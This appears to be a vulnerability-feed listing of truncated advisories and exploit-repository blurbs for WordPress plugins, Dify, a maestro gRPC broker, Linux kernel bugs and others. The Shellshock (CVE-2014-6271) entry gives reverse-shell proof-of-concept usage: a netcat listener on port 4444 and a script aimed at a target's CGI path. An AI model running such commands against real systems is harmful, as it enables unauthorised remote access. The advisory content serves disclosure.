PT-2026-106341

Name of the Vulnerable Software and Affected Versions elegro Crypto Payment versions prior to 1.0.2 Description The plugin fails to require a shared secret before trusting incoming payment notification requests. This allows unauthenticated attackers to forge payment confirmations and change the...

WP < 7.1.3 - Action Injection via Post Status Transition Dynamic Hooks

Description WordPress does not restrict some dynamically generated action hook names to registered post statuses and types during a status transition in some cases, which could allow an attacker who can introduce a post with attacker-controlled status or type through a separate vulnerability to...

CVE-2026-105761 Dify: IDOR in AppMCPServer PUT Endpoint Allows Modification of Other Apps' MCP Servers

Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/appid/server endpoint in api/controllers/console/app/mcpserver.py used AppMCPServerController.put to retrieve an AppMCPServer by the client-supplied server ID without verifying that the server belonged...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Resumen y Principio del Proyecto El primer exploit del mundo para la vulnerabilidad CVE-2024-4577 PHP-CGI RCE que utiliza el entorno PHP predeterminado XAMPP. El primer exploit del mundo CVE-2024-4577 PHP-CGI RCE que utiliza el entorno PHP predeterminado. Comparte el exploit...

CVE-2026-71297

A flaw in the maestro gRPC broker allows a remote attacker with a valid client certificate to bypass authentication because the broker lacks an auth interceptor and client mTLS is optional. This vulnerability enables unauthorized subscription to other consumers' event streams, potentially causing...

EUVD-2026-92711

A flaw was found in the maestro gRPC broker. This vulnerability allows a remote attacker, with a valid client certificate, to bypass authentication. This bypass enables the attacker to subscribe to other consumers' event streams, leading to unauthorized information disclosure, or to publish forge...

CVE-2026-71297 Maestro: maestro: grpc broker has no auth interceptor and client mtls is optional

A flaw was found in the maestro gRPC broker. This vulnerability allows a remote attacker, with a valid client certificate, to bypass authentication. This bypass enables the attacker to subscribe to other consumers' event streams, leading to unauthorized information disclosure, or to publish forge...

CVE-2026-102776

The Joomla Extension - svenbluege.de 's Event Gallery extension (versions

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

heimdall-unauth-ssrf

Heimdall: Unauthenticated SSRF via testconfig Description...

itscape

ITScape — Linux KVM/arm64 guest-to-host escape tracking site Source for the ITScape patch-status tracker: a single-page site recording which distributions have shipped a fix for the KVM/arm64 guest-to-host escape in the Linux kernel. Where the facts live Everything about the bug — CVE IDs, affect...

CVE-2026-90782-s2opc-status-clobber

CVE-2026-90782 — S2OPC Status-Clobbering NULL Dereference Standalone proof-of-concept for CVE-2026-90782 in S2OPC Safe & Secure OPC. Vulnerability In allocnotificationmessageitems S2OPC 1.7.3 and earlier: A single shared status variable is used for both DataChange and Event allocations. If the...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: vmbus – Track the decryption status in vmbusgpadl. In CoCo VMs, it is possible for the untrusted host to cause setmemoryencrypted or setmemorydecrypted to fail, resulting in an error and the shared memory being...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Handling of a null value of ‘streamstatus’ in the function ‘planeschangedforexistingstream’. This commit adds a null check for ‘streamstatus’ in the function ‘planeschangedforexistingstream’. Previously, the code...

Astra Linux – Vulnerability in gnupg2

GnuPG versions up to 2.3.6 allow for signature forgery in unusual situations where an attacker possesses secret-key information from a victim’s keyring, and other constraints such as the use of GPGME are met. This can be achieved by injecting malicious data into the command line’s status line...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: Wifi: rtl818x: Kill URBs before clearing the txstatusqueue In rtl8187stop, the call to usbkillanchoredurbs is moved before clearing the btxstatusqueue. This change prevents callbacks from using already freed skb because the ancho...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: In the tty subsystem, for the ngsm module, a race condition occurred during the modification of the status line of a dead connection. The gsmcleanupmux function cleans up the GSM-related resources by closing all Data Link Control...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: ext4: Do not cache extents during splitting Caching extents during the splitting process is risky, as it may result in stale extents remaining in the status tree. Moreover, in most cases, the corresponding extent block entries ar...

CVE-2024-57778

CVE-2024-57778 Descripción : Un problema en Orbe ONetView Roteador Onet-1200 permite a un atacante remoto escalar privilegios mediante la respuesta del servidor, cambiando el código de estado 500 a 200. Versiones : Descubierto en Orbe ONetView Roteador Onet-1200 Orbe 1680210096, pero aplicable a...

CVE-2026-84169

The UPI QR Code Payment Gateway WordPress plugin, affecting versions through 1.4.3 , contains a vulnerability where it fails to verify if a payment-confirmation request belongs to the specific order and customer it claims to confirm. This lack of authorization allows unauthenticated attackers to ...